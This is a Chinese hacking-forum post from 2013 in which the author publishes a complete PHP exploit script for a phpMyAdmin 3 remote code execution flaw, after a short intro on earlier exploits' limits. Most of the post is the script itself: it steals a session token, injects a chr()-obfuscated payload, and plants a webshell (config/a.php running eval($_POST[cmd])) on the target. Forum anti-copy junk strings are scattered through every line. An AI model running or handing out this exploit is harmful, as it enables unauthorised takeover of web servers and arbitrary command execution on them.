找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1986|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。$ K& ]& F% w& U0 f' i' u4 v
  P2 L* g0 Y+ t  o: P" O
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
0 e0 V  h2 C% F+ C" M/ U; s
9 o4 Z% V# v* O. J首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:7 g- U' ~9 H# \' |2 Y* O/ p" f
一是session.auto_start = 1;, J& C: z  W/ {/ U; z/ V4 @
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
1 \# L$ ]' h. M$ I1 U当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
" a5 `0 w) n' ]3 W  t2 O, H& l% S1 |/ K& T. [
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。4 \' C+ e% @% k. F* J
: d  _( }% O# J9 ]: f$ y; T) c& X
于是写了这个php版本的exp,代码如下:
8 c; U7 d8 }2 B' R7 n9 ^
8 Z1 X  `& o8 d0 a& n#!/usr/bin/php" `9 C4 k# G* O
<?php( S* _8 \5 C  A* G( [
print_r('
% @5 b# c/ K3 o; i. ^7 |+---------------------------------------------------------------------------+3 [" Q" J# @! R3 v5 s. O
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
& p: u6 N; u& i5 mby oldjun(www.oldjun.com)5 L1 Z* c! ^* J5 Z0 l3 x
welcome to www.t00ls.net8 `- ?) m; D" W! @' |0 l
mail: oldjun@gmail.com
) Y' {' {5 E( A+ JAssigned CVE id: CVE-2011-25054 ?1 W/ h: w6 h. N3 H/ ?
+---------------------------------------------------------------------------+
' S) |$ m9 B, |5 w: e' d');0 A0 Z/ o% h: G: E* \
! p  N( p" _( o. W* P* ^& p
/**" D2 s5 y6 j7 D5 b1 B! `1 `
* working when the directory:"config" exists and is writeable.# G7 O2 Q7 M/ F2 S
**/4 U% E" A9 |( E# |2 W% [" B

- o$ a( ~* |" g# K, ?if ($argc < 3) {* s5 T& I" l& D- s; E9 J( I
    print_r('
6 Y1 z2 c" i& }% C4 a3 a+---------------------------------------------------------------------------+& I& w- A0 U% N6 V2 `) z3 h
Usage: php '.$argv[0].' host path3 m# N" ]# D" g" H  b; w
host:      target server (ip/hostname)
) @% |8 e6 w8 p2 z* vpath:      path to pma39 ~0 r) s5 K  `' x, c- L8 r
Example:
8 q: i9 _4 T0 iphp '.$argv[0].' localhost /pma/
$ o; m" b! ?$ W  d/ `( V4 Z$ ~+---------------------------------------------------------------------------+
3 d% h8 ~2 K1 P/ c+ Z8 x');) ?/ ?9 e, U' C( ?4 D1 c
    exit;
/ B7 x* j* n/ j1 D* h1 @& Z}
4 `/ {; t8 \3 C; O! f0 [
. a; ^9 k5 [- T6 |$ l$host = $argv[1];
/ Q- j! F# F+ d5 ~$path = $argv[2];
4 p8 W, o- @/ E8 a1 n* e0 Q, F6 ?- e' n; C. A7 M
/**# N( g( h1 c% @% z- ]
* Try to determine if the directory:"config" exists
( t0 ?8 d  g  o  E0 k**/
2 R" u. u8 N: Q7 |/ V7 c8 C, Gecho "[+] Try to determine if the directory:config exists....\n";
6 e- U2 a% r0 ^) ~( A0 Y# y$returnstr=php_request('config/');
( J& E# K- A! w2 Qif(strpos($returnstr,'404')){
6 ~& Z0 N) S% W) \- S- w8 b    exit("[-] Exploit Failed! The directory:config do not exists!\n");
7 h: [& r! ]! M$ d: C9 H}
7 o- E4 f  y% p$ k2 q% H0 S) N9 k5 W; i! K: b
/**2 V' z* B' P9 {& q. D  i- X# ]
* Try to get token and sessionid' R3 f# N8 r5 q& C* p) I! U' O* O) d
**/9 V* g3 G- G& R  y3 R
echo "[+] Try to get token and sessionid....\n";) e1 Y( m/ e+ W* A7 @
$result=php_request('index.php');6 T  h( e9 Q* T5 f. c# O# s
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
- i0 D( m) b% {3 u4 K# i) d$token=$resp[3];
- A! X# b  j8 s5 q0 p6 F4 y$sessionid=$resp[1];9 n; a' T% o8 B5 W" N( [. K
if($token && $sessionid){
& o, q& H: }$ W1 {    echo "[+] tokentoken\n";) h: M4 U  F" C% s% {! S9 v
    echo "[+] Session IDsessionid\n";" Z; r4 P- }5 p. G7 r, T
}else{
. i! ^; z  F' q! H    exit("[-] Can't get token and Session ID,Exploit Failed!\n");- |/ Q. }* b! R  g
}
5 }: N% d5 l* r( R0 [. ]+ O
- g) N) W7 m' F3 p) f9 c0 O0 j/**+ Q- y# c- t0 G) M8 X
* Try to insert shell into session3 q  @+ ^$ }9 m$ w0 x
**/
% E' s/ A$ u5 h# D% p" S- ^$ yecho "[+] Try to insert shell into session....\n";
) @( C1 J$ [: w" X6 H) ^" L& n0 Mphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.. b/ x' P# a5 h5 R3 C! d+ @+ k

3 n+ R: H- a2 z5 \/**# ]7 p6 [: q; H( Q8 X
* Try to create webshell: g* n( G! T: z/ v# P1 b8 V2 _
**/+ O" t- g2 c" x& G/ w
echo "[+] Try to create webshell....\n";
, a1 W6 S4 x! k& {  tphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);3 {0 H: C* U8 x' |
/**8 U! _! Z9 e  d  a- e* t" t, a1 |8 w
* Try to check if the webshell was created successfully
- \1 B. G% f- n7 O, V**/
  I+ K6 Y: _( \echo "[+] Try to check if the webshell was created successfully....\n";
( n: `$ K. C. m0 W7 d$content=php_request('config/config.inc.php');
( U' }% W3 `( Z9 |0 z. }if(strpos($content,'t00ls')){
7 R8 r( a9 k0 ^2 ]. i/ J    echo "[+] Congratulations! Expoilt successfully....\n";
5 b1 w2 Y8 u* z    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
4 d" P4 P7 ?6 K! M. E}else{
8 P+ o% h0 U% b7 i; l& L& H2 Y1 D    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");) H' t2 m: B+ t  T, ^; h
}' `* M. m+ N9 M3 E
, r# B' X3 F8 F' X+ @: I) `. }. D
function php_request($url,$data='',$cookie=''){1 N7 s9 a  K% W) g
    global  $host, $path;6 A6 A$ M. y7 h7 H
    " H# b& T3 N4 R( l3 q9 V! R$ Q/ j
    $method=$data?'POST':'GET';! L" F' s, s/ j) h8 u3 B3 x( v/ E
   
  M6 C! P2 l: ]( N4 j2 E" H    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
! O3 ^% J5 _$ d) p8 Z% r    $packet .= "Accept: */*\r\n";. n: g( \* M" A( l
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";& |* g. }6 P- M; u! A
    $packet .= "Host: $host\r\n";
% ]0 i9 }$ T0 q5 W- M! x( _    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
( L: p) H; R% w7 k    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
/ s, h: F, E" J. E: M. B    $packet .= $cookie?"Cookie: $cookie\r\n":"";7 l) ~" d! d. A8 s2 B: f
    $packet .= "Connection: Close\r\n\r\n";+ Q. H3 Z' o6 t8 X1 B; V
    $packet .= $data?$data:"";
: {5 A! k) h+ k- b; ?, f. H
' P% L: U- T# t5 m    $fp = fsockopen(gethostbyname($host), 80);6 J6 e  Y6 m9 C# d, s. j
    if (!$fp) {. G* d3 q2 {" T  P0 {( |
    echo 'No response from '.$host; die;
6 \) ?4 l- H* p8 h    }. T7 j' l* z! ^5 j( ]6 `4 g' W  g
    fputs($fp, $packet);
% G5 I$ J+ n% V6 f- Y. j
$ y1 K5 y3 r2 k  P! h    $resp = '';5 B( j: `: i% i7 I

" s" C9 Q) B/ U+ Y  s( ~    while ($fp && !feof($fp))% W) L$ N5 g0 O! v
        $resp .= fread($fp, 1024);
( c( ^0 {' x3 ]9 c6 H, ?1 e$ L/ q2 J" {' `+ b9 {& [& ^
    return $resp;
3 M+ E" G2 K3 c. O9 Q8 @/ c0 E& y7 }}
$ r2 ^& ~$ X" v9 t$ t( G    ; s' ~- g" v; \* Q! {" D
?>
( {) h- ^8 Y4 K. p+ ~( c" C.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表